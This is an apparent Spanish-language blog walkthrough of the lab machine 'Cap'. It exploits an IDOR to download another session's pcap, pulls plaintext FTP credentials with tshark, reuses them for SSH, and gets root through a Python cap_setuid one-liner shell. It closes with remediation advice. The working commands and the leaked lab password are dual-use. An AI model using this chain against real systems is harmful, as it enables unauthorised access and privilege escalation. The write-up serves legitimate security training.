Entrada

Cap

IDOR que filtra una captura con credenciales FTP/SSH y escalada con la capability cap_setuid en Python.

Cap

Publicado por Jaime Hereza Niño

Publicado 02/08/2026 Actualizado 04/10/2026
4 min de lectura
Mi puntuación
116530 votos
MáquinaSODificultadIP
CapLinuxEasy10.10.10.245

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.10.10.245 cap

Resumen

Cap es una cadena corta y de las más didácticas que hay: un IDOR en el panel web te deja descargar la captura de red de otro usuario, dentro viajan unas credenciales en claro de FTP que valen también para SSH, y la escalada es una capability mal puesta sobre Python que te da root en una sola línea. Lo bonito es el paso de la captura: no es bajar el pcap y que te regalen la contraseña, hay que abrirlo y bucear el tráfico con tshark (o Wireshark) para sacarla.

Vulnerabilidad

IDOR / Broken Access Control

El panel descarga las capturas por un identificador numérico en la URL (/data/<id>) y no comprueba de quién es cada captura. La nuestra es la /data/1, pero si bajamos el número a 0 accedemos a la captura de otra sesión, que contiene tráfico sensible. Es el típico control de acceso roto: el servidor se fía del id que manda el cliente.

Capability cap_setuid sobre Python

El binario de Python tiene asignada la capability cap_setuid+ep. Las capabilities parten los privilegios de root en trozos; cap_setuid permite a un proceso cambiar su UID a 0 sin ser root. Puesta sobre un intérprete de propósito general es un desastre: cualquiera que pueda ejecutar ese Python puede lanzarse una shell como root.

Reconocimiento

Empezamos lanzando un escaneo completo de puertos contra la máquina víctima

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess cap
PuertoServicioVersión
21ftpvsftpd 3.0.3
22sshOpenSSH 8.2p1
80httpgunicorn

Un 21 (FTP), un 22 (SSH) y un 80 sirviendo un panel web (Security Dashboard) montado sobre gunicorn. El FTP sin cifrar ya es una pista: todo lo que pase por ahí viaja en claro.

Enumeración

El panel tiene una sección de capturas de red en /data/<id>. Si entramos a la nuestra nos sale /data/1, pero probamos a jugar con el identificador y bajamos a 0

┌──(jaime㉿kali)-[~]└─$ curl -s http://cap/data/0 -o 0.pcap
┌──(jaime㉿kali)-[~]└─$ file 0.pcap
0.pcap: pcap capture file

Tenemos la captura de otra sesión. Ahora viene lo importante: no basta con abrirla, hay que analizar el tráfico. La abrimos con tshark y filtramos directamente el protocolo FTP, que manda usuario y contraseña en texto plano

┌──(jaime㉿kali)-[~]└─$ tshark -r 0.pcap -Y ftp -T fields -e ftp.request.command -e ftp.request.arg
USER nathan PASS Buck3tH4TF0RM3! SYST PWD

Si prefieres Wireshark, es abrir el 0.pcap, clic derecho en cualquier paquete del puerto 21 → Follow > TCP Stream y ahí se leen los comandos USER y PASS igual de claritos. En cualquier caso, salen las credenciales

nathan / Buck3tH4TF0RM3!

Explotación

Las credenciales de FTP valen tal cual para SSH (reutilización de contraseña), así que entramos directamente sin complicarnos

┌──(jaime㉿kali)-[~]└─$ ssh nathan@cap
nathan@cap:~$ id uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Ya somos un usuario del sistema. Leemos la flag de usuario y pasamos a la escalada.

Escalada de privilegios

Lo primero al conseguir un usuario en Linux: mirar capabilities, que son una vía de escalada silenciosa y muy habitual en las máquinas fáciles

nathan@cap:~$ getcap -r / 2>/dev/null /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Ahí está: Python tiene cap_setuid, o sea que puede cambiar su UID a 0. Lo aprovechamos para forzar el UID a root y saltar a una shell

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")' root@cap:~# id uid=0(root) gid=1001(nathan) groups=1001(nathan)

Y ya somos root.

Flags

nathan@cap:~$ cat /home/nathan/user.txt
root@cap:~# cat /root/root.txt

Cómo se arregla

La cadena nace de un control de acceso ausente y de una capability peligrosa. Por capas:

  • Corregir el IDOR: cada usuario solo debe poder ver sus propias capturas; validar en el servidor que el recurso pertenece a quien lo pide, nunca fiarse del identificador de la URL.
  • No mandar credenciales en claro: el FTP sin cifrar deja las contraseñas a la vista en cualquier captura. Migrar a FTPS/SFTP.
  • Quitar la capability de Python: cap_setuid sobre un intérprete equivale a regalar root. Eliminarla con setcap -r /usr/bin/python3.8 y no asignar capabilities a binarios genéricos.
  • No reutilizar credenciales: la misma contraseña abría FTP y SSH; separar credenciales por servicio.

Conclusiones

Un IDOR tan tonto como cambiar un número en la URL puede exponer datos de otros usuarios; el control de acceso jamás se delega en el identificador que manda el cliente.

Las capturas de red son una mina: si recogen tráfico de protocolos en claro como FTP, regalan credenciales. Y la gracia está en saber leerlas con tshark o Wireshark, no en que te las den masticadas.

Por último, un getcap -r / nada más entrar es oro: las capabilities mal asignadas convierten un usuario normal en root en segundos.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.